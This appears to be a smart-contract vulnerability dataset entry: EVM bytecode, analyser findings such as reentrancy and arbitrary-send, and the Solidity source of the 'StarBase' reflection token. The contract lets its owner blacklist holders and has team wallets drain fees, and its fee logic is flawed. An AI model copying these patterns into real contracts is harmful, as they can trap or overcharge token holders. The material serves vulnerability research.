180830381858888f1935050505015801561245a573d6000803e3d6000fd5b5050565b6000600a548211156124bb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613cc4602a913960400191505060405180910390fd5b60006124c5612af3565b90506124da818461285290919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561251757600080fd5b506040519080825280602002602001820160405280156125465781602001602082028036833780820191505090505b509050308160008151811061255757fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156125f957600080fd5b505afa15801561260d573d6000803e3d6000fd5b505050506040513d602081101561262357600080fd5b81019080805190602001909291905050508160018151811061264157fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126a830601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461184d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561276c578082015181840152602081019050612751565b505050509050019650505050505050600060405180830381600087803b15801561279557600080fd5b505af11580156127a9573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127df576000905061284c565b60008284029050828482816127f057fe5b0414612847576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d106021913960400191505060405180910390fd5b809150505b92915050565b600061289483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b1e565b905092915050565b806128aa576128a9612be4565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561294d5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129625761295d848484612c27565b612adf565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a055750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a1a57612a15848484612e87565b612ade565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612abc5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612ad157612acc8484846130e7565b612add565b612adc8484846133dc565b5b5b5b80612aed57612aec6135a7565b5b50505050565b6000806000612b006135bb565b91509150612b17818361285290919063ffffffff16565b9250505090565b60008083118290612bca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b8f578082015181840152602081019050612b74565b50505050905090810190601f168015612bbc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612bd657fe5b049050809150509392505050565b6000600c54148015612bf857506000600d54145b15612c0257612c25565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c3987613868565b955095509550955095509550612c9787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d2c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dc185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e0d816139a2565b612e178483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612e9987613868565b955095509550955095509550612ef786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f8c83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061302185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061306d816139a2565b6130778483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806130f987613868565b95509550955095509550955061315787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131ec86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061328183600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061331685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613362816139a2565b61336c8483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133ee87613868565b95509550955095509550955061344c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134e185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061352d816139a2565b6135378483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b60098054905081101561381d578260026000600984815481106135f557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136dc575081600360006009848154811061367457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156136fa57600a54683635c9adc5dea0000094509450505050613864565b613783600260006009848154811061370e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138d090919063ffffffff16565b925061380e600360006009848154811061379957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138d090919063ffffffff16565b915080806001019150506135d6565b5061383c683635c9adc5dea00000600a5461285290919063ffffffff16565b82101561385b57600a54683635c9adc5dea00000935093505050613864565b81819350935050505b9091565b60008060008060008060008060006138858a600c54600d54613b81565b9250925092506000613895612af3565b905060008060006138a88e878787613c17565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061391283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122a3565b905092915050565b600080828401905083811015613998576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006139ac612af3565b905060006139c382846127cc90919063ffffffff16565b9050613a1781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b4257613afe83600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b5c82600a546138d090919063ffffffff16565b600a81905550613b7781600b5461391a90919063ffffffff16565b600b819055505050565b600080600080613bad6064613b9f888a6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613bd76064613bc9888b6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613c0082613bf2858c6138d090919063ffffffff16565b6138d090919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c3085896127cc90919063ffffffff16565b90506000613c4786896127cc90919063ffffffff16565b90506000613c5e87896127cc90919063ffffffff16565b90506000613c8782613c7985876138d090919063ffffffff16565b6138d090919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212206c76ae969375d9b5c0466fbfaa08ed3b932e80432b39b5d5b4bac4010d636ede64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,994 |
0x7f575d49af678fbb9612cfbea42a2fcde843b577
|
/**
*Submitted for verification at Etherscan.io on 2021-07-05
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract StarBase is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "StarBase Exchange ";
string private constant _symbol = " StarBase";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) {
_teamAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 15);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612dea565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906128f1565b61045e565b6040516101789190612dcf565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f8c565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061289e565b61048d565b6040516101e09190612dcf565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612804565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613001565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f919061297a565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612804565b610783565b6040516102b19190612f8c565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d01565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612dea565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906128f1565b61098d565b60405161035b9190612dcf565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612931565b6109ab565b005b34801561039957600080fd5b506103a2610ad5565b005b3480156103b057600080fd5b506103b9610b4f565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129d4565b6110ab565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061285e565b6111f4565b6040516104189190612f8c565b60405180910390f35b60606040518060400160405280601281526020017f53746172426173652045786368616e6765200000000000000000000000000000815250905090565b600061047261046b61127b565b8484611283565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a84848461144e565b61055b846104a661127b565b6105568560405180606001604052806028815260200161370860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c61127b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0d9092919063ffffffff16565b611283565b600190509392505050565b61056e61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612ecc565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612ecc565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075261127b565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c71565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cdd565b9050919050565b6107dc61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612ecc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f2053746172426173650000000000000000000000000000000000000000000000815250905090565b60006109a161099a61127b565b848461144e565b6001905092915050565b6109b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612ecc565b60405180910390fd5b60005b8151811015610ad1576001600a6000848481518110610a6557610a64613349565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac9906132a2565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1661127b565b73ffffffffffffffffffffffffffffffffffffffff1614610b3657600080fd5b6000610b4130610783565b9050610b4c81611d4b565b50565b610b5761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb90612ecc565b60405180910390fd5b600e60149054906101000a900460ff1615610c34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2b90612f4c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc430600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611283565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0a57600080fd5b505afa158015610d1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d429190612831565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da457600080fd5b505afa158015610db8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddc9190612831565b6040518363ffffffff1660e01b8152600401610df9929190612d1c565b602060405180830381600087803b158015610e1357600080fd5b505af1158015610e27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4b9190612831565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffff